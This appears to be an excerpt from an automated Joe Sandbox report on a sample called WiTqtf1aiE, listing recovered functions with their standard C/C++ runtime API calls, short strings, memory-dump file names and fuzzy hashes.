Opcode Fuzzy Hash: 2d23c62fe8ded3469c4b2391a8c506420691168baa3e03c9382b77466f1d9a19
Instruction Fuzzy Hash: CF2108B2A01A14ABCB359B649C49FEABF68FB51360B200125F905B72C0F730FE05D6D0

Function 005A507A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 005A5081
std::_Lockit::_Lockit.LIBCPMT ref: 005A508C
std::locale::_Setgloballocale.LIBCPMT ref: 005A50A7
_Yarn.LIBCPMT ref: 005A50BD
std::_Lockit::~_Lockit.LIBCPMT ref: 005A50FA

Strings

R[Z, xrefs: 005A50C9, 005A50ED

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID: R[Z
API String ID: 156189095-1116217273
Opcode ID: 115b9202060b0909f6475bebe38f11b4fc71dd8e82539d80b451886d01021da4
Instruction ID: 0590697b09775897eed02a2572581da1cb0e85ed101e14ddaedccc6688911345
Opcode Fuzzy Hash: 115b9202060b0909f6475bebe38f11b4fc71dd8e82539d80b451886d01021da4
Instruction Fuzzy Hash: D901BC75A00A5A9FD705AB60DC59E7C7FA1BFDA340B18400AE80157381DF74AE05DFD5

Function 005B0F50 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,4C560F1E,?,?,00000000,005C1FC8,000000FF,?,005B0EE0,005B1010,?,005B0EB4,00000000), ref: 005B0F85
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 005B0F97
FreeLibrary.KERNEL32(00000000,?,?,00000000,005C1FC8,000000FF,?,005B0EE0,005B1010,?,005B0EB4,00000000), ref: 005B0FB9

Strings

CorExitProcess, xrefs: 005B0F8F
mscoree.dll, xrefs: 005B0F7E
R[Z, xrefs: 005B0FA8

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$R[Z$mscoree.dll
API String ID: 4061214504-648308221
Opcode ID: 612efff3f5f8dc50e8668b2a720de01ff9c9fcb030056b196eba66e7088c196c
Instruction ID: 33089506b9de933ce3a4fc1832a0705896b9749f7685490d14aec664b754092c
Opcode Fuzzy Hash: 612efff3f5f8dc50e8668b2a720de01ff9c9fcb030056b196eba66e7088c196c
Instruction Fuzzy Hash: 9D016732604A19EFDB119B54DC09FBEBFB8FB04B15F044529F811F22D0DB75AA04DA90

Function 005BF356 Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff4e48356b0ad21af655f804f49beefc9b9f7e62db99a1fff534fdbf4c3d27f5
Instruction ID: c22d6e8a462a3a8fd9988beb961c68bf00c07401d8fda292244eecda88902052
Opcode Fuzzy Hash: ff4e48356b0ad21af655f804f49beefc9b9f7e62db99a1fff534fdbf4c3d27f5
Instruction Fuzzy Hash: 12B1B274A0020AAFDB11DFA8DC85BED7FB1FF95310F244169E801AB2A2D771AD41CB60

Function 005AA25A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,005AA251,005A8978,005A7AFF), ref: 005AA268
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 005AA276
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 005AA28F
SetLastError.KERNEL32(00000000,005AA251,005A8978,005A7AFF), ref: 005AA2E1

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 0241b1dccb05e1b7a1d9fbd1e19af0bd672eaa8f5156e7bd4a12a23e9c5630eb
Instruction ID: ca0e9d1d538258e4a6f16c3c8bb061a7f73bf237e9a43393f3d0638bec50613c
Opcode Fuzzy Hash: 0241b1dccb05e1b7a1d9fbd1e19af0bd672eaa8f5156e7bd4a12a23e9c5630eb
Instruction Fuzzy Hash: 5F01B93710DB126EA7242778BC4EB6E1F55FF57774B200239F510910E2EF524C16A195

Function 005AA371 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 005AA438
___AdjustPointer.LIBCMT ref: 005AA45B
___AdjustPointer.LIBCMT ref: 005AA4F7

Strings

R[Z, xrefs: 005AA3D0

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: AdjustPointer
String ID: R[Z
API String ID: 1740715915-1116217273
Opcode ID: 8665b97392ee53082f7ccb58db624aa9fb604f8e88975a1667a8e0debee07e86
Instruction ID: 1a18cf35299a9ef34f9985959c8c3b3712beed8b23bd16094858acc0bd12a3ad
Opcode Fuzzy Hash: 8665b97392ee53082f7ccb58db624aa9fb604f8e88975a1667a8e0debee07e86
Instruction Fuzzy Hash: 8551A172601206AFEF258F54E849B7E7FA4FF4A310F24482EF91587291EB71AC50D792

Function 005A4436 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005A4442
int.LIBCPMT ref: 005A4455

Part of subcall function 005A16B4: std::_Lockit::_Lockit.LIBCPMT ref: 005A16C5
Part of subcall function 005A16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 005A16DF

std::_Facet_Register.LIBCPMT ref: 005A4488
std::_Lockit::~_Lockit.LIBCPMT ref: 005A449E
Concurrency::cancel_current_task.LIBCPMT ref: 005A44A9

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: a0d6b9bff33f15aa7562190b8676a32a7c2909f47293ef313e29c771a239fdf0
Instruction ID: c6e287e9003b0344987523baec8a16507068b3a635ae30e5f5dde6a9ec832659
Opcode Fuzzy Hash: a0d6b9bff33f15aa7562190b8676a32a7c2909f47293ef313e29c771a239fdf0
Instruction Fuzzy Hash: C3012672900516BBCF25EBA4D819DAE7F68FFC6360F10055AF805AB291EF709E01DB84

Function 005A3DB1 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005A3DBD
int.LIBCPMT ref: 005A3DD0

Part of subcall function 005A16B4: std::_Lockit::_Lockit.LIBCPMT ref: 005A16C5
Part of subcall function 005A16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 005A16DF

std::_Facet_Register.LIBCPMT ref: 005A3E03
std::_Lockit::~_Lockit.LIBCPMT ref: 005A3E19
Concurrency::cancel_current_task.LIBCPMT ref: 005A3E24

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 24e25496b2d73a2010fd7df31bd85835a4892081dfaa4cef415091bbec595370
Instruction ID: f71f383eb8b30d165bba897868c5bc00d5a7e15e14f0db94b4c64db254a94ddc
Opcode Fuzzy Hash: 24e25496b2d73a2010fd7df31bd85835a4892081dfaa4cef415091bbec595370
Instruction Fuzzy Hash: 8D01A772901515ABCB25AB94D8098AE7FACFFD2764F240149F901AB291DF709E05CB80

Function 005A4308 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005A4315
int.LIBCPMT ref: 005A4328

Part of subcall function 005A16B4: std::_Lockit::_Lockit.LIBCPMT ref: 005A16C5
Part of subcall function 005A16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 005A16DF

std::_Facet_Register.LIBCPMT ref: 005A435B
std::_Lockit::~_Lockit.LIBCPMT ref: 005A4371
Concurrency::cancel_current_task.LIBCPMT ref: 005A437C

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 1d414989cc63100ad73496a59749874d0ece282ad37819b1a70197e1f7802e0b
Instruction ID: 4abd448c324575a5378b30d1d57f4ffd22aae5fe2cd40011ca59f98179e7f3c8
Opcode Fuzzy Hash: 1d414989cc63100ad73496a59749874d0ece282ad37819b1a70197e1f7802e0b
Instruction Fuzzy Hash: 6C01F772900515ABCF21BBA498098DE7F78BFD2320F20055AF801A7290EF709E45CFC4

Function 005AA060 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 005AA09F
__IsNonwritableInCurrentImage.LIBCMT ref: 005AA153

Strings

R[Z, xrefs: 005AA16C
csm, xrefs: 005AA13D

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: R[Z$csm
API String ID: 3480331319-3692376519
Opcode ID: 146d375afe9a00ebf5c96d9f0debc00d139d156d5e7f0ad308681b798f67f0b1
Instruction ID: 1388d4752347a026d435bbf34a5fcd7928432b2af702d058cb2b0217e8aaca91
Opcode Fuzzy Hash: 146d375afe9a00ebf5c96d9f0debc00d139d156d5e7f0ad308681b798f67f0b1
Instruction Fuzzy Hash: AF419034A00219AFCF10DF68C889B9EBFB5FF86314F148155E815AB352D735EA45CB92

Function 005AB3A2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,005AB353,00000000,?,005D90E4,?,?,?,005AB4F6,00000004,InitializeCriticalSectionEx,005C4BD8,InitializeCriticalSectionEx), ref: 005AB3AF
GetLastError.KERNEL32(?,005AB353,00000000,?,005D90E4,?,?,?,005AB4F6,00000004,InitializeCriticalSectionEx,005C4BD8,InitializeCriticalSectionEx,00000000,?,005AB2AD), ref: 005AB3B9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 005AB3E1

Strings

api-ms-, xrefs: 005AB3C6

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: ecbc5fb87969a0f48f87772d16d44df65fd94689ded09994148db353a58e4bb1
Instruction ID: 4d0fe0e66f188b9deceb405866bf1b1f257186c4f2a388bf09fadcc4005cd0c1
Opcode Fuzzy Hash: ecbc5fb87969a0f48f87772d16d44df65fd94689ded09994148db353a58e4bb1
Instruction Fuzzy Hash: 83E01231240208BBFF111B71EC4EF5D3E64BB11B41F104422FA0DF40E1E762E95496D4

Function 005B7747 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(4C560F1E,00000000,00000000,00000000), ref: 005B77AA

Part of subcall function 005B952A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,005B8FD3,?,00000000,-00000008), ref: 005B95D6

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 005B7A05
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 005B7A4D
GetLastError.KERNEL32 ref: 005B7AF0

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 2c64e47dd1ea7b2f406e1ea9c0b2d4be1ce5b864e1be0d7dcf1291d7c41da4e9
Instruction ID: e77bc854556dcd75063a3dfbbe59d04bbd5d81e01273407ebc35f67e65a90a03
Opcode Fuzzy Hash: 2c64e47dd1ea7b2f406e1ea9c0b2d4be1ce5b864e1be0d7dcf1291d7c41da4e9
Instruction Fuzzy Hash: 5BD179B5D046499FCB15CFA8D8849EDBFB5FF89300F28452AE866EB351E730A941CB50

Function 005C06EF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,005BF713,00000000,00000001,00000000,00000000,?,005B7B44,00000000,00000000,00000000), ref: 005C0706
GetLastError.KERNEL32(?,005BF713,00000000,00000001,00000000,00000000,?,005B7B44,00000000,00000000,00000000,00000000,00000000,?,005B80CB,00000000), ref: 005C0712

Part of subcall function 005C06D8: CloseHandle.KERNEL32(FFFFFFFE,005C0722,?,005BF713,00000000,00000001,00000000,00000000,?,005B7B44,00000000,00000000,00000000,00000000,00000000), ref: 005C06E8

___initconout.LIBCMT ref: 005C0722

Part of subcall function 005C069A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,005C06C9,005BF700,00000000,?,005B7B44,00000000,00000000,00000000,00000000), ref: 005C06AD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,005BF713,00000000,00000001,00000000,00000000,?,005B7B44,00000000,00000000,00000000,00000000), ref: 005C0737

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 42073daaf069d8ce57629636c752bae25ae85f86b8e5d431269f7ac139ec7b9a
Instruction ID: 4329c91b4cb1a7a182b1d33aa2b551e362d6c16763684921f68c171386cfcf35
Opcode Fuzzy Hash: 42073daaf069d8ce57629636c752bae25ae85f86b8e5d431269f7ac139ec7b9a
Instruction Fuzzy Hash: 63F03037000569FFCF222FD6DC08E893FA6FB593A1B045014FA1995170CA328920EF94

Function 005C1093 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,005C09EF), ref: 005C10AC

Strings

R[Z, xrefs: 005C1176, 005C1220, 005C1266
Li\, xrefs: 005C1241

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: DecodePointer
String ID: Li\$R[Z
API String ID: 3527080286-1581662953
Opcode ID: e16d48b8e6329b5e5434fdff0e34daa8b564a800058170263afdce1faa989f5d
Instruction ID: 3aeab85ccf7ca4e32421d4878f9e79c22e34c2acfa704ba53ef53773d19faed8
Opcode Fuzzy Hash: e16d48b8e6329b5e5434fdff0e34daa8b564a800058170263afdce1faa989f5d
Instruction Fuzzy Hash: 3451897990090ADFDB109FE9D84CBBDBFB4FB4A300F18414DD581A6256CB798A29CB58

Function 005A5F4D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

_Fputc.LIBCPMT ref: 005A6026

Strings

R[Z, xrefs: 005A6005

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: Fputc
String ID: R[Z
API String ID: 3078413507-1116217273
Opcode ID: a18c206fbde63508fd33c0c77f9adf3b0f9b75e38a44fd07c31c28a543e079a2
Instruction ID: ee3affa7657240401bcf54e8b68489a58f14830ba787c1517a54fbf2a26e1375
Opcode Fuzzy Hash: a18c206fbde63508fd33c0c77f9adf3b0f9b75e38a44fd07c31c28a543e079a2
Instruction Fuzzy Hash: 53415C76911A1AAFCF14DF64C484DEDBBB9FF0A310B144426E941A7640F731F955CBA0

Function 005AA96D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 005AA992

Strings

RCC, xrefs: 005AA9AC
MOC, xrefs: 005AA9A4

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 8499c840c581981fda9b27530be77b5fd629107fce1beee3219ba0298875a703
Instruction ID: a33c4b67b74ebab939a42af9444a46feca43b6ecbbda7a3399bb893ab9688a6e
Opcode Fuzzy Hash: 8499c840c581981fda9b27530be77b5fd629107fce1beee3219ba0298875a703
Instruction Fuzzy Hash: CC41597190020AAFCF16DF98CD85AEEBFB5FF49304F198059FA04A7211D3359950DB62

Function 005A5107 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005A5113
std::_Lockit::~_Lockit.LIBCPMT ref: 005A516F

Strings

R[Z, xrefs: 005A513A, 005A5154

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: R[Z
API String ID: 593203224-1116217273
